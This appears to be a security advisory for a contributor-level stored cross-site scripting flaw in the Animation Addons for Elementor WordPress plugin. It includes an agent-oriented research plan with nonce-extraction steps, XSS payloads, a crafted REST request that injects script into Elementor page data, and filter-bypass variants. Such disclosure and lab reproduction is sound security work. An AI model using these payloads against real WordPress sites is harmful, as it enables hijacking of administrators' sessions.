Animation Addons for Elementor <= 2.6.2 - Authenticated (Contributor+) Stored Cross-Site Scripting
Description
The Animation Addons for Elementor plugin for WordPress is vulnerable to Stored Cross-Site Scripting in versions up to, and including, 2.6.2 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:NTechnical Details
<=2.6.2# Research Plan: CVE-2026-39702 Animation Addons for Elementor Stored XSS ## 1. Vulnerability Summary The **Animation Addons for Elementor** plugin (up to v2.6.2) is vulnerable to **Stored Cross-Site Scripting (XSS)**. The vulnerability exists because the plugin fails to sanitize user-supplied widg…
Show full research plan
Research Plan: CVE-2026-39702 Animation Addons for Elementor Stored XSS
1. Vulnerability Summary
The Animation Addons for Elementor plugin (up to v2.6.2) is vulnerable to Stored Cross-Site Scripting (XSS). The vulnerability exists because the plugin fails to sanitize user-supplied widget settings when they are saved and subsequently fails to escape those settings when they are rendered on the frontend.
As an Elementor addon, the plugin registers custom widgets or extensions. In WordPress, Elementor widget data is stored as a JSON-encoded string in the _elementor_data post meta. Since a Contributor can create posts and use the Elementor editor, they can inject malicious scripts into widget properties (like IDs, classes, or custom animation attributes) that are then executed in the context of any user (including Administrators) viewing or editing the affected page.
2. Attack Vector Analysis
- Endpoint: WordPress REST API for Elementor (
/wp-json/wp/v2/pages/{id}or/wp-json/elementor/v1/editor-data) or the standard Elementor heartbeat/save mechanism. - Vulnerable Parameter: Individual properties within the
_elementor_dataJSON structure (e.g., a text field for "Animation ID" or "Custom Attributes"). - Required Authentication: Contributor level or higher.
- Preconditions: The plugin must be active, and Elementor must be enabled for the post type being edited.
3. Code Flow (Inferred)
- Input: A Contributor user opens a post in the Elementor editor.
- Storage: The user adds an "Animation Addons" widget and enters a payload into a setting field (e.g., a field named
gsap_custom_idorgsap_animation_name). - Save: Elementor sends the widget configuration to the server via the REST API. The plugin's widget class (extending
\Elementor\Widget_Base) does not sanitize this specific field in itsregister_controls()or via a validation hook. - Database: The payload is stored in the
wp_postmetatable under the key_elementor_data. - Rendering: When a user visits the page, Elementor calls the widget's
render()method. The plugin likely outputs the property directly:// Example of vulnerable rendering in the plugin's widget file protected function render() { $settings = $this->get_settings_for_display(); echo '<div id="' . $settings['gsap_custom_id'] . '">'; // VULNERABLE: No esc_attr() }
4. Nonce Acquisition Strategy
To save Elementor data via the REST API, the execution agent needs a WordPress REST API nonce.
- Identify Trigger: The plugin's scripts are usually loaded when the Elementor Editor is active.
- Setup Page:
- Create a page as a Contributor:
wp post create --post_type=page --post_status=publish --post_title="XSS Test" --post_author=[CONTRIBUTOR_ID]
- Create a page as a Contributor:
- Navigate: Use
browser_navigateto go to the Elementor Editor for that page:/wp-admin/post.php?post=[POST_ID]&action=elementor - Extract Nonce: Elementor stores its configuration and nonces in a global JavaScript object. Use
browser_evalto retrieve it:browser_eval("window.elementorConfig?.api_nonce")(Primary)browser_eval("window.elementorCommon?.config?.ajax?.nonce")(Backup)
5. Exploitation Strategy
The goal is to update the _elementor_data of a post with a payload that triggers when the page is viewed.
Step-by-Step Plan:
Find Vulnerable Property: Use
grepin the plugin directory to find potential sinks:grep -r "echo" . | grep "settings\["Look for properties in files within
widgets/ormodules/. For example, if a widget has a control namedgsap_id.Craft the Payload:
A standard attribute breakout:"><script>alert(document.domain)</script>
Or an event handler:x" onmouseover="alert(1)Prepare the REST Request:
- Method:
POST - URL:
/wp-json/wp/v2/pages/[POST_ID] - Headers:
X-WP-Nonce: [EXTRACTED_NONCE]Content-Type:application/json
- Body:
(Note:{ "meta": { "_elementor_data": "[{\"id\":\"unique_id\",\"elType\":\"widget\",\"widgetType\":\"gsap-animation-widget-name\",\"settings\":{\"gsap_id\":\"\\\"><script>alert(1)<\\/script>\"},\"elements\":[]}]" } }_elementor_datais stored as a stringified JSON array of objects. ThewidgetTypemust match a real widget from the plugin, e.g.,gsap-motion-addon).
- Method:
Execute via
http_request: Submit the crafted JSON to the REST API.Trigger: Navigate to the frontend URL of the page (
/?p=[POST_ID]) and check for the script execution.
6. Test Data Setup
- User: Create a Contributor user:
wp user create victim-contributor victim@example.com --role=contributor --user_pass=password123 - Plugin Setup: Ensure "Animation Addons for Elementor" is active.
- Identify Widget Slug: Run
grep -r "get_name" .in the plugin directory to find the internal slugs for the widgets (e.g.,gsap-text-animation).
7. Expected Results
- The REST API should return a
200 OKstatus confirming the post update. - The
wp_postmetatable should contain the payload within the_elementor_datafield. - Viewing the page source on the frontend should show the unescaped payload:
<div id=""><script>alert(1)</script>">
8. Verification Steps
- Check Meta: Use WP-CLI to verify the payload is stored:
wp post meta get [POST_ID] _elementor_data - Frontend Check: Use
http_request(GET) to fetch the page and check if the payload exists in the response body:# Verify the script tag exists in the HTML http_request(url="http://localhost:8080/?p=[POST_ID]")
9. Alternative Approaches
- Elementor Heartbeat: If the REST API endpoint is restricted, use the Elementor
heartbeatAJAX action (action=elementor_ajax) which often allows saving editor data. - Extension XSS: Many Animation Addons are "extensions" to existing Elementor widgets. Check if the plugin adds a "Motion Effects" or "GSAP" section to the standard "Button" or "Heading" widgets. In this case, the payload would be added to a standard widget's
settingsobject under a key like_gsap_animation_id. - Payload Variation: If
<script>is blocked by a WAF (unlikely in this local environment), use:<img src=x onerror=alert(1)>" onfocus="alert(1)" autofocus="
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.